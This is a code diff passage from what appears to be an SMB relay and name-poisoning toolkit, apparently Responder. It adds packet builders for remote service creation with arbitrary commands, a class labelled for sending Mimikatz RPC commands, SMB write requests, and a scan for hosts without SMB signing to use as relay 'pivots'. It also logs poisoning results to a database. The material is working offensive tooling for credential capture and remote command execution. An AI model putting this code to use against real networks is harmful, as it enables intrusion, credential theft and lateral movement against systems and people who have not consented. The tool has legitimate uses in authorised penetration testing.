         ("DataRepresent",    "\x10\x00\x00\x00"),
         ("FragLen",          "\x2c\x02"),
         ("AuthLen",          "\x00\x00"),
-        ("CallID",           "\x00\x00\x00\x00"),
+        ("CallID",           "\x01\x00\x00\x00"),
         ("MaxTransFrag",     "\xd0\x16"),
         ("MaxRecvFrag",      "\xd0\x16"),
         ("GroupAssoc",       "\x00\x00\x00\x00"),
@@ -688,7 +759,7 @@ class SMBDCESVCCTLCreateService(Packet):
         ("TagID",                "\x00\x00\x00\x00"),
         ("Dependencies",         "\x00\x00\x00\x00"),
         ("DependenciesLen",      "\x00\x00\x00\x00"),
-        ("ServiceStartName",     "\x00\x00\x00\x00"),
+        ("ServiceStartUser",     "\x00\x00\x00\x00"),
         ("Password",             "\x00\x00\x00\x00"),
         ("PasswordLen",          "\x00\x00\x00\x00"), 
         ("Padding",              "\x00\x00"),
@@ -696,14 +767,14 @@ class SMBDCESVCCTLCreateService(Packet):
     ])
 
     def calculate(self):
-
-        WinTmpPath = "%WINDIR%\\Temp\\Results.txt"
-
-        ##Run the actual command via WMIC, no need to write/execute from a file.
-        self.fields["BinCMD"] = "WMIC process call create 'cmd /c ("+self.fields["BinCMD"]+") >"+WinTmpPath+"&exit'"
-
         BinDataLen = str(self.fields["BinCMD"])
 
+        #Padding
+        if len(str(self.fields["BinCMD"]))%2==0:
+           self.fields["LoadOrderGroup"] = "\x00\x00\x00\x00"
+        else:
+           self.fields["LoadOrderGroup"] = "\x00\x00"
+
         ## Calculate first
         self.fields["BinPathMaxCount"] = struct.pack("<i",len(BinDataLen)+1)
         self.fields["BinPathActualCount"] = struct.pack("<i",len(BinDataLen)+1)
@@ -711,12 +782,12 @@ class SMBDCESVCCTLCreateService(Packet):
         self.fields["ActualCount"] = struct.pack("<i",len(str(self.fields["ServiceName"]))+1)
         self.fields["MaxCountRefID"] = struct.pack("<i",len(str(self.fields["DisplayNameID"]))+1)
         self.fields["ActualCountRefID"] = struct.pack("<i",len(str(self.fields["DisplayNameID"]))+1)
+
         ## Then convert to UTF-16LE
         self.fields["ServiceName"] = self.fields["ServiceName"].encode('utf-16le')
         self.fields["DisplayNameID"] = self.fields["DisplayNameID"].encode('utf-16le')
         self.fields["BinCMD"] = self.fields["BinCMD"].encode('utf-16le')
 
-
 class SMBDCESVCCTLOpenService(Packet):
     fields = OrderedDict([
         ("ContextHandle",        ""),
@@ -767,6 +838,21 @@ class SMBDCESVCCTLQueryService(Packet):
         ("ContextHandle",        ""),
     ])
 
+class SMBDCEMimiKatzRPCCommand(Packet):
+    fields = OrderedDict([
+        ("ContextHandleLen",     "\x07\x00\x00\x00"),
+        ("ContextHandle",        "\x00\x00\x00\x00"),
+        ("ContextHandleLen2",    "\x07\x00\x00\x00"),
+        ("CMD",                  ""),
+        ("CMDEnd",               "\x00\x00"),
+    ])
+
+    def calculate(self):
+        self.fields["ContextHandleLen"] = struct.pack("<i",len(str(self.fields["CMD"]))+1)
+        self.fields["ContextHandleLen2"] = struct.pack("<i",len(str(self.fields["CMD"]))+1)
+        self.fields["CMD"] = self.fields["CMD"].encode('utf-16le')
+
+
 class OpenAndX(Packet):
     fields = OrderedDict([
         ("Wordcount",             "\x0f"),
@@ -819,6 +905,42 @@ class ReadRequestAndX(Packet):
 
     ])
 
+class SMBDCERPCReadRequestAndX(Packet):
+    fields = OrderedDict([
+        ("Wordcount",             "\x0C"),
+        ("AndXCommand",           "\xff"),
+        ("Reserved",              "\x00"),
+        ("AndXOffset",            "\xde\xde"),
+        ("FID",                   "\x02\x40"),
+        ("Offset",                "\x00\x00\x00\x00"),
+        ("MaxCountLow",           "\xb8\x10"),
+        ("MinCount",              "\xb8\x10"),
+        ("Timeout",               "\xff\xff\xff\xff"),
+        ("RemainingBytes",        "\x00\x00"),
+        ("HighOffset",            "\x00\x00\x00\x00"),
+        ("Bcc",                   "\x00\x00"),
+
+    ])
+
+class WriteRequestAndX(Packet):
+    fields = OrderedDict([
+        ("Wordcount",             "\x06"),
+        ("AndXCommand",           "\xff"),
+        ("Reserved",              "\x00"),
+        ("AndXOffset",            "\xde\xde"),
+        ("FID",                   "\x02\x40"),
+        ("Offset",                "\x00\x00\x00\x00"),
+        ("Reserved2",             "\xff\xff\xff\xff"),
+        ("WriteMode",             "\x00\x00"),
+        ("Remaining",             "\x00\x00"),
+        ("DataLenHi",             "\x00\x00"),
+        ("DataLenLow",            "\x0a\x00"),#actual Len
+        ("DataOffset",            "\x3f\x00"),
+        ("Bcc",                   "\x0a\x00"),
+        ("Padd",                  ""), 
+        ("Data",                  ""),
+
+    ])
 
 class CloseRequest(Packet):
     fields = OrderedDict([
@@ -988,3 +1110,4 @@ class SMBDCEWinRegSaveKey(Packet):
         self.fields["FileSizeUnicode"] = struct.pack("<h",len(str(self.fields["File"]))+2)
         self.fields["MaxFileSizeUnicode"] = struct.pack("<h",len(str(self.fields["File"]))+2)
 
+

tools/RunFinger.py

@@ -21,7 +21,7 @@ from socket import *
 from odict import OrderedDict
 import optparse
 
-__version__ = "0.6"
+__version__ = "0.7"
 
 parser = optparse.OptionParser(usage='python %prog -i 10.10.10.224\nor:\npython %prog -i 10.10.10.0/24', version=__version__, prog=sys.argv[0])
 
@@ -155,18 +155,22 @@ def dtoa(d):
 def OsNameClientVersion(data):
 	try:
 		length = struct.unpack('<H',data[43:45])[0]
-		OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
-                if OsVersion == "Unix":
-                   OsVersion = ClientVersion
-		return OsVersion, ClientVersion
-
+                if length > 255:
+		   OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[48+length:].split('\x00\x00\x00')[:2]])
+		   return OsVersion, ClientVersion
+                if length <= 255:
+		   OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
+		   return OsVersion, ClientVersion
 	except:
 	 	return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
-
 def GetHostnameAndDomainName(data):
 	try:
 		DomainJoined, Hostname = tuple([e.replace('\x00','') for e in data[81:].split('\x00\x00\x00')[:2]])
                 Time = GetBootTime(data[60:68])
+                #If max length domain name, there won't be a \x00\x00\x00 delineator to split on
+		if Hostname == '':
+			DomainJoined = data[81:110].replace('\x00','')
+			Hostname = data[113:].replace('\x00','')
 		return Hostname, DomainJoined, Time
 	except:
 	 	return "Could not get Hostname.", "Could not get Domain joined"

tools/SMBFinger/Finger.py

@@ -15,11 +15,15 @@
 # You should have received a copy of the GNU General Public License
 # along with this program.  If not, see <http://www.gnu.org/licenses/>.
 import re,sys,socket,struct
+import multiprocessing
 from socket import *
+from time import sleep
 from odict import OrderedDict
 
-__version__ = "0.3"
-Timeout = 0.5
+__version__ = "0.7"
+
+Timeout = 2
+
 class Packet():
     fields = OrderedDict([
     ])
@@ -139,15 +143,22 @@ def dtoa(d):
 def OsNameClientVersion(data):
 	try:
 		length = struct.unpack('<H',data[43:45])[0]
-		OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
-		return OsVersion, ClientVersion
-
+                if length > 255:
+		   OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[48+length:].split('\x00\x00\x00')[:2]])
+		   return OsVersion, ClientVersion
+                if length <= 255:
+		   OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
+		   return OsVersion, ClientVersion
 	except:
 	 	return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
 
 def GetHostnameAndDomainName(data):
 	try:
 		DomainJoined, Hostname = tuple([e.replace('\x00','') for e in data[81:].split('\x00\x00\x00')[:2]])
+                #If max length domain name, there won't be a \x00\x00\x00 delineator to split on
+		if Hostname == '':
+			DomainJoined = data[81:110].replace('\x00','')
+			Hostname = data[113:].replace('\x00','')
 		return Hostname, DomainJoined
 	except:
 	 	return "Could not get Hostname.", "Could not get Domain joined"
@@ -205,6 +216,27 @@ def SmbFinger(Host):
           return signing, OsVersion, ClientVersion
     except:
        pass
+
+def SmbFingerSigning(Host):
+    s = socket(AF_INET, SOCK_STREAM)
+    try:
+       s.settimeout(Timeout)
+       s.connect((Host, 445))
+    except:
+       return False
+    try:     
+       h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
+       n = SMBNego(Data = SMBNegoData())
+       n.calculate()
+       packet0 = str(h)+str(n)
+       buffer0 = longueur(packet0)+packet0
+       s.send(buffer0)
+       data = s.recv(2048)
+       signing = IsSigningEnabled(data)
+       return signing
+    except:
+       pass
+
 ##################
 #run it
 def ShowResults(Host):
@@ -244,6 +276,43 @@ def ShowSmallResults(Host):
        pass
 
 
+def ShowScanSmallResults(Host):
+    s = socket(AF_INET, SOCK_STREAM)
+    try:
+       s.settimeout(Timeout)
+       s.connect(Host)
+    except:
+       return False
+
+    try:
+       Hostname, DomainJoined = DomainGrab(Host)
+       Signing, OsVer, LanManClient = SmbFinger(Host)
+       Message ="['%s', Os:'%s', Domain:'%s', Signing:'%s']"%(Host[0], OsVer, DomainJoined, Signing)
+       print Message
+    except:
+       pass
+
+
+def ShowSigning(Host):
+    s = socket(AF_INET, SOCK_STREAM)
+    try:
+       s.settimeout(Timeout)
+       s.connect((Host, 445))
+    except:
+       print "[Pivot Verification Failed]: Target host is down" 
+       return True
+
+    try:
+       Signing = SmbFingerSigning(Host)
+       if Signing == True:
+          print "[Pivot Verification Failed]:Signing is enabled. Choose another host."
+          return True
+       else:
+          return False
+    except:
+       pass
+
+
 def RunFinger(Host):
     m = re.search("/", str(Host))
     if m :
@@ -255,3 +324,23 @@ def RunFinger(Host):
     else:
        ShowResults((Host,445))   
 
+
+def RunPivotScan(Host, CurrentIP):
+    m = re.search("/", str(Host))
+    if m :
+       net,_,mask = Host.partition('/')
+       mask = int(mask)
+       net = atod(net)
+       threads = []
+       for host in (dtoa(net+n) for n in range(0, 1<<32-mask)):
+           if CurrentIP == host:
+              pass
+           else:
+              p = multiprocessing.Process(target=ShowScanSmallResults, args=((host,445),))
+              threads.append(p)
+              p.start()
+       sleep(1)
+    else:
+       ShowScanSmallResults((Host,445))
+
+

utils.py

@@ -26,7 +26,7 @@ import datetime
 def RandomChallenge():
     if settings.Config.NumChal == "random":
        from random import getrandbits
-       NumChal = '%0x' % getrandbits(16 * 4)
+       NumChal = '%016x' % getrandbits(16 * 4)
        Challenge = ''
        for i in range(0, len(NumChal),2):
 	   Challenge += NumChal[i:i+2].decode("hex")
@@ -146,14 +146,17 @@ def DumpConfig(outfile, data):
 	with open(outfile,"a") as dump:
 		dump.write(data + '\n')
 
-def SaveToDb(result):
-	# Creating the DB if it doesn't exist
+def CreateResponderDb():
 	if not os.path.exists(settings.Config.DatabaseFile):
 		cursor = sqlite3.connect(settings.Config.DatabaseFile)
-		cursor.execute('CREATE TABLE responder (timestamp varchar(32), module varchar(16), type varchar(16), client varchar(32), hostname varchar(32), user varchar(32), cleartext varchar(128), hash varchar(512), fullhash varchar(512))')
+		cursor.execute('CREATE TABLE Poisoned (timestamp TEXT, Poisoner TEXT, SentToIp TEXT, ForName TEXT, AnalyzeMode TEXT)')
+		cursor.commit()
+		cursor.execute('CREATE TABLE responder (timestamp TEXT, module TEXT, type TEXT, client TEXT, hostname TEXT, user TEXT, cleartext TEXT, hash TEXT, fullhash TEXT)')
 		cursor.commit()
 		cursor.close()
 
+def SaveToDb(result):
+
 	for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]:
 		if not k in result:
 			result[k] = ''
@@ -222,6 +225,23 @@ def SaveToDb(result):
 		cursor.commit()
 	cursor.close()
 
+def SavePoisonersToDb(result):
+
+	for k in [ 'Poisoner', 'SentToIp', 'ForName', 'AnalyzeMode' ]:
+		if not k in result:
+			result[k] = ''
+
+	cursor = sqlite3.connect(settings.Config.DatabaseFile)
+	cursor.text_factory = sqlite3.Binary  # We add a text factory to support different charsets
+	res = cursor.execute("SELECT COUNT(*) AS count FROM Poisoned WHERE Poisoner=? AND SentToIp=? AND ForName=? AND AnalyzeMode=?", (result['Poisoner'], result['SentToIp'], result['ForName'], result['AnalyzeMode']))
+	(count,) = res.fetchone()
+        
+	if not count:
+		cursor.execute("INSERT INTO Poisoned VALUES(datetime('now'), ?, ?, ?, ?)", (result['Poisoner'], result['SentToIp'], result['ForName'], result['AnalyzeMode']))
+		cursor.commit()
+
+	cursor.close()
+
 
 def Parse_IPV6_Addr(data):
 	if data[len(data)-4:len(data)][1] =="\x1c":